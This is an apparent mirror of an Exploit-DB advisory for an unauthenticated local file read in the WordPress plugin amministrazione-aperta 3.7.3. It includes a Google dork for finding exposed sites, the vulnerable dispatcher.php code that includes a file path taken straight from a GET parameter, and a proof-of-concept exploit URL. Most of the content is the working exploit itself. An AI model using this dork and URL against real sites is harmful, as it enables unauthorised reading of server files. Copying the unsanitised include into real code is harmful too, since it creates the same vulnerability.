WordPress Plugin amministrazione-aperta 3.7.3 – Local File Read – Unauthenticated - 体验盒子

作者： Hassan Khan Yusufzai

日期： 2022-03-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/50838/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

# Exploit Title: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated

# Google Dork: inurl:/wp-content/plugins/amministrazione-aperta/

# Date: 23-03-2022

# Exploit Author: Hassan Khan Yusufzai - Splint3r7

# Vendor Homepage: https://wordpress.org/plugins/amministrazione-aperta/

# Version: 3.7.3

# Tested on: Firefox

# Vulnerable File: dispatcher.php

# Vulnerable Code:

</code><code>

if ( isset($_GET['open']) ) {

include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);

} else {

echo '

<div id="welcome-panel" class="welcome-panel"

style="padding-bottom: 20px;">

<div class="welcome-panel-column-container">';

include_once( ABSPATH . WPINC . '/feed.php' );

</code><code>

# Proof of Concept:

localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI]